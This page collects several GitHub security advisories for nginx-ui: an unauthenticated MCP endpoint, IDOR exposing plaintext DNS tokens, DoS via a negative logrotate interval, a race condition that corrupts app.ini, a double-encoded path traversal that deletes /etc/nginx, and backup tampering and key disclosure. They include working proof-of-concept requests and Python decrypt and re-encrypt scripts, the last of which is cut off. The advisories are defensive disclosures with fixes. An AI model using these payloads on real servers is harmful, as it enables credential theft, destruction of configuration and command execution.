2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice }

And the middleware at internal/middleware/ipwhitelist.go:14 passes all requests when the list is empty:

go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return }

3. Config writes auto-reload nginx. From mcp/config/configadd.go:

go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

http POST /mcpmessage HTTP/1.1 Content-Type: application/json

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxypass http://127.0.0.1:9000; accesslog /etc/nginx/conf.d/tokens.log; } }", "basedir": "conf.d", "overwrite": true, "syncnodeids": [] } }, "id": 1 }

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact - Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - Configuration exfiltration: All existing nginx configs are readable via nginxconfigget, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting accesslog directives with custom logformat patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcpmessage route:

go r.Any("/mcpmessage", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
OS Command Injection
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

Nginx-UI contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access, modify, and delete resources belonging to other users. The application's base Model struct lacks a userid field, and all resource endpoints perform queries by ID without verifying user ownership, enabling complete authorization bypass in multi-user environments.

Severity

High - CVSS 3.1 Score: 8.8 (High)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Note: Original score was 7.5. The score was updated to 8.8 after discovering that sensitive data (DNS API tokens, ACME private keys) is stored in plaintext, which when combined with IDOR allows immediate credential theft without decryption.

Product

nginx-ui

Affected Versions

All versions up to and including v2.3.3

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

Description

Exposed DNS Provider Credentials

The dns.Config structure (internal/cert/dns/configenv.go) contains API credentials:

go type Configuration struct { Credentials map[string]string json:"credentials" // API tokens here Additional map[string]string json:"additional" }

| Provider | Credential Fields | Impact if Leaked | |----------|------------------|------------------| | Cloudflare | CFAPITOKEN | Full DNS zone control | | Alibaba Cloud DNS | ALICLOUDACCESSKEY, ALICLOUDSECRETKEY | Full DNS control + potential IAM access | | Tencent Cloud DNS | TENCENTCLOUDSECRETID, TENCENTCLOUDSECRETKEY | Full DNS control | | AWS Route53 | AWSACCESSKEYID, AWSSECRETACCESSKEY | Route53 + potential AWS access | | GoDaddy | GODADDYAPIKEY, GODADDYAPISECRET | DNS record modification |

Combined Attack: IDOR + Plaintext Storage

When the IDOR vulnerability is combined with plaintext storage, attackers can directly extract API tokens from other users' resources:

Attack Chain: ┌─────────────────────────────────────────────────────────────────┐ │ 1. Attacker authenticates with low-privilege account │ │ 2. Uses IDOR to enumerate: /api/dnscredentials/1,2,3... │ │ 3. Reads plaintext API tokens directly from HTTP response │ │ 4. No decryption needed - tokens stored in cleartext │ │ 5. Uses stolen tokens to: │ │ - Modify DNS records (domain hijacking) │ │ - Issue fraudulent SSL certificates │ │ - Pivot to cloud infrastructure │ └─────────────────────────────────────────────────────────────────┘

PoC: Extracting Plaintext Credentials via IDOR

bash Attacker with low-privilege token accessing admin's DNS credential curl -H "Authorization: $ATTACKERTOKEN" \ https://nginx-ui.example.com/api/dnscredentials/1

Response contains PLAINTEXT API token (no decryption required): { "id": 1, "name": "Production Cloudflare", "provider": "cloudflare", "config": { "credentials": { "CFAPITOKEN": "yhyQ7xR...plaintexttokenvisible..." } } }

Updated CVSS Score with Plaintext Storage

The plaintext storage increases the confidentiality impact:

CVSS 3.1 Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

- Scope Changed (S:C): Impact extends to external services (DNS providers, cloud platforms) - High Confidentiality (C:H): Plaintext API tokens immediately usable - High Integrity (I:H): DNS records, certificates can be modified - High Availability (A:H): Services can be disrupted via DNS/certificate manipulation

---

Attack Scenario: Certificate Hijacking

1. Attacker creates low-privilege account on nginx-ui 2. Uses IDOR to enumerate all DNS credentials: /api/dnscredentials/1,2,3... 3. Steals Cloudflare API token from admin's credential 4. Uses token to: - Modify DNS records - Issue fraudulent Let's Encrypt certificates - Intercept traffic to victim domains

Credit

Discovered by security researcher during authorized security audit.

Recommendation

Immediate Mitigation

1. Add User Ownership to Models

go // model/model.go type Model struct { ID uint64 gorm:"primarykey" json:"id" UserID uint64 gorm:"index" json:"userid" // Add this field CreatedAt time.Time json:"createdat" UpdatedAt time.Time json:"updatedat" DeletedAt gorm.DeletedAt gorm:"index" json:"deletedat,omitempty" }

2. Filter Queries by Current User

go // api/certificate/dnscredential.go func GetDnsCredential(c gin.Context) { id := cast.ToUint64(c.Param("id")) currentUser := c.MustGet("user").(model.User)

d := query.DnsCredential dnsCredential, err := d.Where( d.ID.Eq(id), d.UserID.Eq(currentUser.ID), // Add user filter ).First()

if err != nil { cosy.ErrHandler(c, err) return } // ... }

3. Add Authorization Middleware

go // middleware/authorization.go func RequireOwnership(resourceType string) gin.HandlerFunc { return func(c gin.Context) { currentUser := c.MustGet("user").(model.User) resourceID := cast.ToUint64(c.Param("id"))

// Check if resource belongs to current user ownerID, err := getResourceOwner(resourceType, resourceID) if err != nil || ownerID != currentUser.ID { c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ "message": "Access denied", }) return } c.Next() } }

Database Migration

sql -- Add userid column to all resource tables ALTER TABLE dnscredentials ADD COLUMN userid BIGINT; ALTER TABLE certs ADD COLUMN userid BIGINT; ALTER TABLE acmeusers ADD COLUMN userid BIGINT; ALTER TABLE sites ADD COLUMN userid BIGINT; ALTER TABLE streams ADD COLUMN userid BIGINT; ALTER TABLE configs ADD COLUMN userid BIGINT;

-- Set default owner for existing resources UPDATE dnscredentials SET userid = 1 WHERE userid IS NULL; UPDATE certs SET userid = 1 WHERE userid IS NULL;

-- Add foreign key constraint ALTER TABLE dnscredentials ADD CONSTRAINT fkdnscredentialsuser FOREIGN KEY (userid) REFERENCES users(id);

Long-term Improvements

1. Implement role-based access control (RBAC) 2. Add audit logging for resource access 3. Implement resource sharing functionality with explicit permissions 4. Add integration tests for authorization checks

---

Remediation for Plaintext Storage

Immediate Fix: Encrypt Sensitive Fields

Apply the same serializer:json[aes] pattern used for S3 credentials to DNS and ACME data:

model/dnscredential.go: go type DnsCredential struct { Model Name string json:"name" Config dns.Config json:"config,omitempty" gorm:"serializer:json[aes]" // Add AES encryption Provider string json:"provider" ProviderCode string json:"providercode" gorm:"index" }

model/acmeuser.go: go type AcmeUser struct { Model // ... Key PrivateKey json:"-" gorm:"serializer:json[aes]" // Add AES encryption // ... }

Data Migration

Existing plaintext data must be re-saved to trigger encryption:

go func MigrateSensitiveData() error { // Migrate DNS credentials var dnsCreds []model.DnsCredential query.DnsCredential.Find(&dnsCreds) for , cred := range dnsCreds { query.DnsCredential.Save(&cred) // Re-save triggers AES encryption }

// Migrate ACME users var acmeUsers []model.AcmeUser query.AcmeUser.Find(&acmeUsers) for , user := range acmeUsers { query.AcmeUser.Save(&user) }

return nil }

Summary of Required Changes

| File | Line | Current | Fix | |------|------|---------|-----| | model/dnscredential.go | 7 | serializer:json | serializer:json[aes] | | model/acmeuser.go | Key field | serializer:json | serializer:json[aes] |

References

- CWE-639: Authorization Bypass Through User-Controlled Key - OWASP IDOR Prevention Cheat Sheet - PortSwigger: IDOR Vulnerabilities

Disclosure Timeline

- 2026-03-13: Vulnerability discovered through source code audit - 2026-03-13: Vulnerability successfully reproduced in local Docker environment - 2026-03-13: All IDOR operations verified: READ, MODIFY, DELETE - 2026-03-13: Security advisory prepared - [Pending]: Report submitted to nginx-ui maintainers - [Pending]: CVE ID requested - [Pending]: Patch developed and tested - [Pending]: Public disclosure (21-90 days after vendor notification)

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An input validation vulnerability in the logrotate configuration allows an authenticated user to cause a complete Denial of Service (DoS). By submitting a negative integer for the rotation interval, the backend enters an infinite loop or an invalid state, rendering the web interface unresponsive.

Details The vulnerability exists in the handler for the POST /api/settings endpoint. Specifically, the logrotate.interval field is accepted as a signed integer without lower-bound verification. When a negative value is processed by the backend logic responsible for scheduling or calculating the next rotation, it triggers a non-terminating loop. This consumes CPU resources and prevents the Go web server from handling further concurrent requests.

Environment: - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - nginx-ui version: 2.3.3 (513) e5da6dd (go1.26.0 linux/amd64) - Deployment: Docker container - Run Command: docker run -dit \ --name=nginx-ui \ --restart=always \ -v /mnt/user4/appdata/nginx:/etc/nginx \ -v /mnt/user4/appdata/nginx-ui:/etc/nginx-ui \ -v /var/run/docker.sock:/var/run/docker.sock \ -p 8080:80 -p 8443:443 \ uozi/nginx-ui:latest

PoC 1. Authenticate to the nginx-ui dashboard. 2. Send a POST request to /api/settings (using Burp Suite, Postman, or curl). 3. Set the payload as follows: . . . { "logrotate": { "enabled": true, "cmd": "logrotate /etc/logrotate.d/nginx", "interval": -1 } } . . . 4. Observe that the web server stops responding to all subsequent requests immediately after the injection. <img width="1041" height="390" alt="image" src="https://github.com/user-attachments/assets/b746a91a-dd63-4f5e-b1a8-382b9d08e181" />

Impact This is a High-availability vulnerability (CWE-20: Improper Input Validation). Any authenticated user with access to settings can permanently hang the service.

A patched version of nginx-ui is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Race Condition
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui application is vulnerable to a Race Condition. Due to the complete absence of synchronization mechanisms (Mutex) and non-atomic file writes, concurrent requests lead to the severe corruption of the primary configuration file (app.ini). This vulnerability results in a persistent Denial of Service (DoS) and introduces a non-deterministic path for Remote Code Execution (RCE) through configuration cross-contamination.

Details The vulnerability exists because the settings update pipeline does not implement any synchronization primitives. When multiple requests reach the handler simultaneously: 1. Memory Corruption: ProtectedFill() modifies shared global singleton pointers without thread-safety, leading to inconsistent states in memory. 2. File Corruption: The underlying library (gopkg.in/ini.v1) performs direct overwrites. Concurrent write operations interleave at the OS level, resulting in app.ini files with empty leading lines, truncated fields, or partially overwritten configuration keys. 3. State Persistent Failure: Depending on which bytes are corrupted, the application either fails its "is-installed" check (redirecting to /install) or encounters a fatal error during boot/runtime that prevents the process from responding to any further requests.

Environment: - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0) - Deployment: Docker Container

PoC 0. Check original app.ini file valid state: <img width="524" height="367" alt="image" src="https://github.com/user-attachments/assets/d9688f76-7fe7-46ea-9eb9-c55bf40918a6" />

1. Log in to the nginx-ui dashboard. 2. Navigate to Preferences and update settings. Capture a POST /api/settings request and send it to Burp Suite Intruder. 3. Configure the attack with Null payloads (to test basic concurrency) or a Fuzzing list (to test data-driven corruption). 4. Set the Resource Pool to 20-50 concurrent requests. <img width="1188" height="776" alt="image" src="https://github.com/user-attachments/assets/403eef43-2bc6-4651-8802-15ddcb4f7631" />

5. Observation (In-flight corruption): Monitor the app.ini file. You will observe the file being written with empty leading lines or incomplete key-value pairs.

- <img width="1316" height="390" alt="image" src="https://github.com/user-attachments/assets/d99553f7-d253-4525-9b45-f59994e69180" /> ------------------------------------------------

- <img width="1368" height="709" alt="image" src="https://github.com/user-attachments/assets/7522ba29-39f1-4c22-88f2-8e859cdb1984" />

6. Observation (Recovery Failure): If the service redirects to /install, attempting to complete the setup again often fails because the underlying configuration state is too corrupted to be reconciled by the installer logic. 7. Observation (Total Service Collapse): When the corruption in app.ini becomes so severe, the Go runtime or the INI parser encounters a fatal error, causing the Nginx-UI service to stop responding entirely (Hard DoS).

<img width="1344" height="542" alt="image" src="https://github.com/user-attachments/assets/da4b99dc-ddce-4b79-b0bb-2d634bdd3bf7" />

8. Observation (Cross-Section Contamination): During testing, it was observed that sometimes INI sections become interleaved. For example, fields belonging to the [nginx] section (like ConfigDir or ReloadCmd) were erroneously written under the [webauthn] section. Example of corrupted output observed: [webauthn] RPDisplayName = RPID = RPOrigins = gDirWhiteList = ConfigDir = /etc/nginx ConfigPath = PIDPath = /run/nginx.pid SbinPath = TestConfigCmd = ReloadCmd = nginx -s reload RestartCmd = nginx -s stop StubStatusPort = 51820 ContainerName =

Impact This is a High security risk (CWE-362: Race Condition). - Integrity: Permanent corruption of application settings and system-level configuration. - Availability: High. The attack results in a persistent Denial of Service that cannot be recovered via the web UI. - Remote Code Execution (RCE) Risk: Since the application allows updating certain fields (like Node Name) and uses others as shell commands (like ReloadCmd or RestartCmd), the observed "cross-contamination" of INI values means an attacker could potentially force a user-controlled string into a command execution field. If ReloadCmd is overwritten with a malicious payload provided in another field, the next nginx reload will execute that payload. While highly impactful, this specific exploit path is non-deterministic and depends on the precise interleaving of thread execution, making targeted exploitation difficult.

Recommended Mitigation 1. Implement Mutex Locking: Wrap the ProtectedFill and settings.Save() calls in a sync.Mutex to serialize access to global settings. 2. Atomic File Writes: Implement a "write-then-rename" strategy. Write the new configuration to app.ini.tmp and use os.Rename() to replace the original file atomically, ensuring the configuration file is always in a valid state.

A patched version of nginx-ui is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui configuration improperly handles URL-encoded traversal sequences. When specially crafted paths are supplied, the backend resolves them to the base Nginx configuration directory and executes the operation on the base directory (/etc/nginx). In particular, this allows an authenticated user to remove the entire /etc/nginx directory, resulting in a partial Denial of Service.

Details The file deletion logic fails to correctly validate and normalize paths containing URL-encoded traversal sequences such as ..%252F.

When such input is processed, the internal path resolution logic attempts to clamp the path into the allowed configuration directory. Instead of rejecting the traversal attempt, the clamping mechanism resolves the path to the base Nginx configuration directory itself.

Because the deletion handler invokes os.RemoveAll, which recursively removes directories, this results in the deletion of the entire /etc/nginx directory.

This behavior creates a dangerous interaction between path normalization and deletion logic:

- Traversal sequences are not rejected. - Double-encoding (..%252F) is used to bypass initial shallow filters. - The clamping mechanism resolves malicious paths to the base configuration directory. - The deletion handler recursively deletes the resolved path.

As a result, an attacker can trigger deletion of the entire Nginx configuration directory instead of being blocked by path validation logic.

Root Cause

The vulnerability results from a combination of design flaws:

- Improper Path Canonicalization: URL-encoded traversal sequences are not properly rejected. - Unsafe Fallback Logic: The GetConfPath clamping mechanism returns the base configuration directory when traversal is detected instead of rejecting the request. - Unsafe Deletion Primitive: The deletion handler invokes os.RemoveAll, which recursively deletes directories without additional safeguards. (delete.go) // Delete the file or directory err = os.RemoveAll(fullPath) if err != nil { cosy.ErrHandler(c, err) return } This interaction causes the deletion operation to target the most sensitive directory when a traversal attempt occurs.

Environment - Server OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Nginx UI Version: nginx-ui v2.3.3 - Deployment: Docker / Default installation

Proof of Concept Steps to Reproduce 1. Log into nginx-ui.

2. Go to Manage Configs and create a Folder named ..%252F..%252F..%252F..%252Ftest <img width="1608" height="559" alt="image" src="https://github.com/user-attachments/assets/738d7d65-7e13-48fa-affc-d5509c43900f" />

3. Observe that the backend resolves the path to /etc/nginx..

4. Now lets create a file called testing.

5. Save it and rename it to ..%252F..%252F..%252F..%252Ftest (It is not possible to create it directly with the payload name so we have to rename it)

6. Go back to manage configs and Click Delete to remove the file we just created.

7. Check that there is an error: <img width="1578" height="696" alt="image" src="https://github.com/user-attachments/assets/51a36310-0676-4fe5-b80c-e0199498efbf" />

8. Reload the website and check that the /etc/nginx folder has been completely removed: <img width="1313" height="722" alt="image" src="https://github.com/user-attachments/assets/0a9ddd1b-786b-4cf2-8abd-1dc6f3a77807" />

Impact

An authenticated user capable of invoking the configuration deletion endpoint can trigger the recursive deletion of the entire Nginx configuration directory (/etc/nginx).

This results in: - Immediate failure of the Nginx service due to missing configuration files. - Loss of all Nginx configuration managed by nginx-ui. - Denial of Service for all web services relying on the affected Nginx instance.

As the deletion operation uses a recursive filesystem call, the entire configuration directory is removed, leaving the system unable to restart Nginx until the configuration is manually restored.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hashinfo.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

1. Backup files are compressed into nginx-ui.zip and nginx.zip. 2. The files are encrypted using AES-256-CBC. 3. SHA-256 hashes of the encrypted files are stored in hashinfo.txt. 4. The hash file is also encrypted with the same AES key and IV. 5. The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

- The encryption key is available to the client. - The integrity metadata is encrypted with that same key. - The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0) - Deployment: Docker Container default installation - Relevant Source Files: - backupcrypto.go - backup.go - restore.go - SystemRestoreContent.vue

PoC 1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file. <img width="1483" height="586" alt="image" src="https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f" />

2. Decrypt the nginx-ui.zip archive using the obtained token. import base64 import os import sys import zipfile from io import BytesIO from Crypto.Cipher import AES from Crypto.Util.Padding import unpad

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64) cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def processlocalbackup(filepath, token, outputdir): keyb64, ivb64 = token.split(":") os.makedirs(outputdir, existok=True) print(f"[] File processing: {filepath}") with zipfile.ZipFile(filepath, 'r') as mainzip: mainzip.extractall(outputdir) filestodecrypt = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"] for filename in filestodecrypt: path = os.path.join(outputdir, filename) if os.path.exists(path): with open(path, "rb") as f: encrypted = f.read() decrypted = decryptaescbc(encrypted, keyb64, ivb64) outpath = path + ".decrypted" with open(outpath, "wb") as f: f.write(decrypted) print(f"[] Successfully decrypted: {outpath}")

Manual config BACKUPFILE = "backup-20260314-151959.zip" TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" OUTPUT = "decrypted"

if name == "main": processlocalbackup(BACKUPFILE, TOKEN, OUTPUT)

3. Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash). 4. Re-compress the files and calculate the new SHA-256 hash. 5. Update hashinfo.txt with the new, legitimate-looking hashes for the modified files. 6. Encrypt the bundle again using the original Key and IV. import base64 import hashlib import os import zipfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad

def encryptfile(data, keyb64, ivb64): key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64) cipher = AES.new(key, AES.MODECBC, iv) return cipher.encrypt(pad(data, AES.blocksize))

def buildrebuiltbackup(files, token, outputfilename="backuprebuild.zip"): keyb64, ivb64 = token.split(":") encryptedblobs = {} for fname in files: with open(fname, "rb") as f: data = f.read() blob = encryptfile(data, keyb64, ivb64)

targetname = fname.replace(".decrypted", "") encryptedblobs[targetname] = blob print(f"[] Cipher {targetname}: {len(blob)} bytes")

hashcontent = "" for name, blob in encryptedblobs.items(): h = hashlib.sha256(blob).hexdigest() hashcontent += f"{name}: {h}\n" encryptedhashinfo = encryptfile(hashcontent.encode(), keyb64, ivb64) encryptedblobs["hashinfo.txt"] = encryptedhashinfo

with zipfile.ZipFile(outputfilename, 'w', compression=zipfile.ZIPDEFLATED) as zf: for name, blob in encryptedblobs.items(): zf.writestr(name, blob) print(f"\n[] Backup rebuild: {outputfilename}") print(f"[] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if name == "main": buildrebuiltbackup(FILES, TOKEN) 7. Upload the tampered backup to the nginx-ui restore interface. <img width="1059" height="290" alt="image" src="https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a" />

8. Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. <img width="1316" height="627" alt="image" src="https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6" />

Impact An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

- Persistent configuration tampering - Backdoor insertion into nginx configuration - Execution of attacker-controlled commands depending on configuration settings - Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

1. Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include: - Signing backup metadata using a server-side private key - Storing integrity metadata separately from the backup archive

2. Enforce integrity verification The restore operation must abort if hash verification fails.

3. Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.

4. Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | api/backup/router.go | | Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) | | Secondary File | internal/backup/backup.go | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

go func InitRouter(r gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware }

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

go func CreateBackup(c gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return }

// Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header

// ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

// Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates

- nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/ // Virtual host configs └── ssl/ // SSL private keys

- hashinfo.txt (encrypted) └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

python #!/usr/bin/env python3

""" POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """

import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO

try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1)

def parsekeys(hdrval: str): """ Parse X-Backup-Security header format: "base64key:base64iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdrval or "").strip()

# Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip()

return None, None

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64)

if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def extractbackup(encryptedzippath: str, keyb64: str, ivb64: str, outputdir: str): """Extract and decrypt the backup archive""" print(f"\n[] Extracting encrypted backup to {outputdir}")

os.makedirs(outputdir, existok=True)

# Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encryptedzippath, 'r') as mainzip: print(f"[] Main archive contains: {mainzip.namelist()}") mainzip.extractall(outputdir)

# Decrypt each file encryptedfiles = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"]

for filename in encryptedfiles: filepath = os.path.join(outputdir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue

print(f"[] Decrypting {filename}...")

with open(filepath, "rb") as f: encrypted = f.read()

try: decrypted = decryptaescbc(encrypted, keyb64, ivb64)

# Write decrypted file decryptedpath = filepath.replace(".zip", "decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decryptedpath, "wb") as f: f.write(decrypted)

print(f" → Saved to {decryptedpath} ({len(decrypted)} bytes)")

# If it's a ZIP, extract it if filename.endswith(".zip"): extractdir = os.path.join(outputdir, filename.replace(".zip", "")) os.makedirs(extractdir, existok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as innerzip: innerzip.extractall(extractdir) print(f" → Extracted {len(innerzip.namelist())} files to {extractdir}")

except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}")

# Show hash info hashinfopath = os.path.join(outputdir, "hashinfo.txt.decrypted") if os.path.exists(hashinfopath): print(f"\n[] Hash info:") with open(hashinfopath, "r") as f: print(f.read())

